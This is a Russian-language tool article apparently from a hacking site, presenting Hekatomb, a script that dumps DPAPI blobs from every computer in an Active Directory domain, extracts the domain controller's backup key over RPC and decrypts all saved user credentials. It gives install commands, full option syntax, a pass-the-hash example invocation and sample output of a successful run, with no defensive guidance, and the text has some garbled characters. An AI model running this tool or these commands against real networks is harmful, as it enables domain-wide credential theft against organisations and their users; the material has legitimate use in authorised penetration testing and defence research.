

Неkatomб — сбор и расшифровка DPAPI-данных в Active Directory

 spy-soft.net/dpapi-data-decryption-active-directory-hekatomб

9 октября 2024 г.



Неkatomб — это Python-скрипт, который подключается к LDAP-директории для получения информации обо всех компьютерах и пользователях домена. После этого он скачивает все DPAPI-блобы для всех пользователей со всех компьютеров. В завершение, через RPC он извлекает приватный ключ контроллера домена и использует его для расшифровки всех учетных данных.

Еще по теме: [Постэксплуатация в Active Directory](#).

Расшифровка DPAPI-блобов в домене Windows

На Windows учетные данные, сохраненные в менеджере учетных данных, шифруются с использованием Microsoft Data Protection API (DPAPI) и хранятся в виде файлов «blob» в папке AppData пользователя. Вне доменной среды для шифрования этих блобов используется хеш пароля пользователя. Однако, если компьютер находится в среде Active Directory, DPAPI использует публичный ключ контроллера домена для шифрования этих данных.

С извлеченным приватным ключом контроллера домена становится возможным расшифровать все блобы и, таким образом, восстановить все секреты, записанные в менеджере учетных данных Windows на всех рабочих станциях домена.

```
root@IPHONE-DE-MARC:~# hekatomb azuredemo/administrateur: @192.168.182.142 -debug

HEKATOMB

Because Domain Admin rights are not enough.
Hack them all.

@Processus
v1.5
*****
https://spy-soft.net/

[+] Targeting domain azuredemo.local
[+] Testing admin rights...
[+] Admin access granted.
[+] Testing LDAP connection...
[!] Error : Could not connect to ldap with SSL encryption. Trying without SSL encryption...
[+] LDAP connection succeeded !
[+] Retrieving user objects in LDAP directory...
[+] Converting ObjectSID in string SID...
[+] Found about 45 users in LDAP directory.
[+] Retrieving computer objects in LDAP directory...
[+] Found about 1 computers in LDAP directory.
[+] Creating structure folders to store blob and mkf...
[+] Scanning computers list on SMB port ...
[+] Resolving DC.azuredemo.local by asking DNS server 192.168.182.142 ...
[+] DNS resolution for DC succeeded : 192.168.182.142
[+] It seems that 1 computers are online ...
[+] Connecting to all computers and try to get dpapi blobs and master key files ...
[=====] 100.0% ... Collect complete .....

[+] Domain backup keys not given.
[+] Trying to extract...
[+] Domain backup keys found.
[+] Trying to decrypt PVK file...
[+] PVK file decrypted.
[+] Trying to decrypt all MFK...
[+] 7 MKF keys have been decrypted !

https://spy-soft.net/
```

Hekatomб автоматизирует процесс поиска этих блобов, а затем их расшифровку для получения всех секретов пользователей домена.

Установка Hekatomб

Его добавили в с последний релиз Kali Linux. Ниже инструкция по установке на другие дистрибутивы Linux.

ссс

Для систем на базе Debian, через Pypi:

- 1 pip3 install hekatomb

Для пользователей BlackArch:

- 1 pacman -S hekatomb

Установка из GitHub:

- 1 `git clone https://github.com/ProcessusT/HEKATOMB`
- 2 `cd HEKATOMB`
- 3 `poetry install`
- 4 `poetry run hekatomb`

Использование Hekatomб

Hekatomб использует синтаксис, похожий на Impacket (см. [Как использовать скрипты в Impacket](#)).

Пример вызова скрипта:

- 1 `hekatomb [-h] [-hashes LMHASH:NTHASH] [-pvk PVK] [-dns DNS] [-dnstcp] [-port [port]] [-just-user JUST_USER] [-just-computer JUST_COMPUTER] [-md5] [-debug] [-debugmax] target`

Основные параметры запуска:

- 1 `-h, --help` — вывод справки
- 2 `-hashes LMHASH` — NTLM-хеши в формате LMHASH
- 3 `-pvk PVK` — файл резервного ключа домена
- 4 `-dns DNS` — IP-адрес DNS-сервера для разрешения имен хостов
- 5 `-port [port]` — порт для подключения к SMB-серверу
- 6 `-smb2` — принудительное использование протокола SMBv2
- 7 `-just-user [USERNAME]` — тест только для указанного пользователя
- 8 `-just-computer [COMPUTER]` — тест только для указанного компьютера
- 9 `-md5` — выводить MD5-хеши вместо паролей в чистом виде

Настройки вывода и отладки:

- 1 `-csv` — сохранить результаты в формате CSV
- 2 `-debug` — включить режим отладки
- 3 `-debugmax` — максимальная детализация отладки

Пример использования Hekatomб:

- 1 `hekatomb -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug`

Если вы не укажете файл с резервными ключами домена, скрипт автоматически попытается получить их через RPC.

Неkatomб упрощает процесс сбора и расшифровки данных DPAPI, что позволяет получить доступ ко всем учетным данным пользователей домена через менеджер учетных данных Windows.

ПОЛЕЗНЫЕ ССЫЛКИ:

- [Взлом сети через групповые политики Active Directory](#)
- [Как повысить привилегии при пентесте Active Directory](#)
- [GOAD — лаборатория для практики взлома Active Directory](#)

ССС